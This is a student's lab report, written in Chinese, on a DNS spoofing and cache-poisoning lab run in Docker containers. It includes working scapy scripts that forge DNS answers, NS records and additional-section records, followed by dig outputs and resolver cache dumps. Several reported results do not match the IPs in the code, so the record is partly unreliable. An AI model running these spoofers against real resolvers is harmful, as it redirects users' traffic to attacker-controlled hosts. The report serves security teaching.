Lab5

57118232 谢隆文

Testing the DNS Setup

所有的测试工作都是在 User docker1(10.9.0.5) 上进行的，首先运行第一条命令 dig ns.attacker32.com ，答案来自攻击者命名服务器上设置的区域文件。

```
[07/26/21]seed@VM:~/Desktop$ docksh eb
root@eba9657d0598:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48553
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5e810071e4d2734a0100000060fe852de516438cc6d6f134 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 26 09:49:33 UTC 2021
;; MSG SIZE  rcvd: 90
```

运行第二条命令 dig www.example.com ，得到正常结果

```
root@eba9657d0598:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40654
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 91543d14a3e015ed0100000060fe854f0eba4bd2ba3351cc (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 4091 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 26 09:50:07 UTC 2021
;; MSG SIZE  rcvd: 88
```

运行第三条命令 dig @ns.attacker32.com www.example.com ，从攻击者那里得到虚假结果

```
root@eba9657d0598:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11711
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 39f1013be17c7fdb0100000060fe85eabd50e108aafa1903 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Jul 26 09:52:42 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task1：Directly Spoofing Response to User

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,
ancount=1, an=Anssec) # Create a DNS object
spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
send(spoofpkt)
myFilter = "udp and (src host 10.9.0.5 and dst port 53)" # Set the filter
pkt=sniff(iface='br-79f14b54fcf2', filter=myFilter, prn=spoof_dns)
```

通过运行结果可以看出，对用户的 DNS 欺骗攻击成功。

在 attacker 上运行代码，在 user 上解析，结果如下

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51560
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       11.22.33.44

;; Query time: 667 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Thu Jul 22 14:27:15 UTC 2021
;; MSG SIZE  rcvd: 49
```

Task2：DNS Cache Poisoning Attack – Spoofing Answers

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
udp = UDP(sport=pkt[UDP].dport, dport=33333) # Create a UPD object
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='12.23.34.45') # Create an aswer record
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, an=Anssec) # Create a DNS object
spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
send(spoofpkt)
myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-79f14b54fcf2', filter=myFilter, prn=spoof_dns)
```

在运行攻击程序之前，在 User 容器运行 dig www.example.com 命令，然后在本地 DNS 服务器运行 rndc dumpdb -cache ， cat /var/cache/bind/dump.db | grep www.example.com ，此时可以查 看 DNS 缓存正常。

先刷新本地 DNS 服务器缓存，即运行 rndc flush ，然后运行攻击程序后，进行 dig www.example.com 命令，可以看到 User 被欺骗。

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51854
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 062ffd2e75430c170100000060f9336f722dbafeaf88bb2f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       11.11.11.11

;; Query time: 1176 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 08:59:27 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task3：Spoofing NS Records

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
udp = UDP(sport=pkt[UDP].dport, dport=33333) # Create a UPD object
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='12.23.34.45') # Create an aswer record
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, an=Anssec, nscount=1, ns=NSsec) # Create a DNS object
spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
send(spoofpkt)
myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-79f14b54fcf2', filter=myFilter, prn=spoof_dns)
```

运行攻击程序后，在 User 容器运行 dig www.example.com ， dig seu.example.com ， dig mail.example.com ， 可以看到均被欺骗。

```
root@5bafebebd59f:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30911
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL:

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6445970038572c330100000060f9598383c27fe484d1edce (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 720 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:41:55 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@5bafebebd59f:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60883
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 436b05277208d1e40100000060f959b28adb7fc8245d1b3e (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 120 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:42:42 UTC 2021
;; MSG SIZE  rcvd: 89
```

在本地 dns 服务器上查看 dns 缓存:

```
example.com.            863792  NS      ns.attacker32.com
_.example.com.          863792  A       11.11.11.11
mail.example.com.       863839  A       1.2.3.6
www.example.com.        863792  A       1.2.3.5
```

Task4：Spoofing NS Records for Another Domain

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
```

```
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
udp = UDP(sport=pkt[UDP].dport, dport=33333) # Create a UPD object
NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='12.23.34.45') # Create an aswer record
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, an=Anssec, nscount=2, ns=NSsec1/NSsec2) # Create a DNS object
spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
send(spoofpkt)
myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-79f14b54fcf2', filter=myFilter, prn=spoof_dns)
```

在 attacker 上运行上述代码。 在 user 中依次 dig www.example.com, www.google.com, seu.google.com，结果如下：

www.example.com：

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 749
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 726c7f5cb11032980100000060fc1884584b6c4a13928e68 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2907 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 13:41:24 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32904
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8c5d51396260b1600100000060fc1890df829ec93eb575b3 (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         171     IN      A       162.125.18.129

;; Query time: 4547 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 13:41:36 UTC 2021
;; MSG SIZE  rcvd: 87
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> seu.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51631
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 36ab0290925916100100000060fc1894b819ddcc82696874 (good)
;; QUESTION SECTION:
;seu.google.com.                        IN      A

;; AUTHORITY SECTION:
google.com.             60      IN      SOA     ns1.google.com. dns-admin.google
.com. 386418182 900 900 1800 60

;; Query time: 295 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 13:41:40 UTC 2021
;; MSG SIZE  rcvd: 121
```

可以发现在 seu.google.com 中没有返回 ip 地址。 查看本地 DNS 服务器的 dns 缓存:

```
example.com.            863874  NS      ns.attacker32.com.
_.example.com.          863874  A       11.11.11.11
mail.example.com.       863878  A       1.2.3.6
www.example.com.        863874  A       1.2.3.5
root@ba1537bf531f:/# cat /var/cache/bind/dump.db | grep google
google.com.             777494  NS      ns1.google.com.
                        777494  NS      ns2.google.com.
                        777494  NS      ns3.google.com.
                        777494  NS      ns4.google.com.
_.l.google.com.         604846  \-ANY   ;-$NXDOMAIN
; l.google.com. SOA ns1.google.com. dns-admin.google.com. 385971520 900 900 1800
 60
googlemail.l.google.com. 605086 A       216.58.200.37
mail.google.com.        1209586 CNAME   googlemail.l.google.com.
ns1.google.com.         777494  A       216.239.32.10
ns2.google.com.         777494  A       216.239.34.10
ns3.google.com.         777494  A       216.239.36.10
ns4.google.com.         777494  A       216.239.38.10
www.google.com.         604912  A       31.13.68.1
```

Task5：Spoofing Records in the Additional Section

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
udp = UDP(sport=pkt[UDP].dport, dport=33333) # Create a UPD object
NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.example.com')
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='12.23.34.45') # Create an aswer record
```

```
Addsec1 = DNSRR(rrname='ns.attatcker32.com', type='A', ttl=259200,
rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200,
rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200,
rdata='3.4.5.6')
dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2,
ar=Addsec1/Addsec2/Addsec3) # Create a DNS object
spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
send(spoofpkt)
myFilter = "udp and src port 33333" # Set the filter
pkt=sniff(iface='br-d564710ce5c3', filter=myFilter, prn=spoof_dns)
```

操作如上，得到的响应如下图所示：

```
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18797
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8176d76be8714ca20100000060fc1e1b19b0fb845868f11f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 119 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 14:05:15 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> seu.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17030
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d043cf4494d89c670100000060fc1e299a997cfeaa07e76a (good)
;; QUESTION SECTION:
;seu.example.com.               IN      A

;; ANSWER SECTION:
seu.example.com.        259200  IN      A       11.22.33.44

;; Query time: 35 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 14:05:29 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24386
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b53653a03a5614fd0100000060fc1e35264421d23b2be95e (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 14:05:41 UTC 2021
;; MSG SIZE  rcvd: 89
ns.attacker32.com.      615380  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
example.com.            863780  NS      ns.attacker32.com.
_.example.com.          863780  A       11.11.11.11
mail.example.com.       863807  A       1.2.3.6
ns.example.com.         863924  A       10.9.0.153
seu.example.com.        863931  A       1.2.3.6
www.example.com.        863780  A       1.2.3.5
_.facebook.com.         604907  A       75.126.33.156
www.facebook.com.       604728  A       157.240.2.50
; ns.attacker32.com [v4 TTL 1580] [v6 TTL 10580] [v4 success] [v6 nxrrset]
; Dump complete
```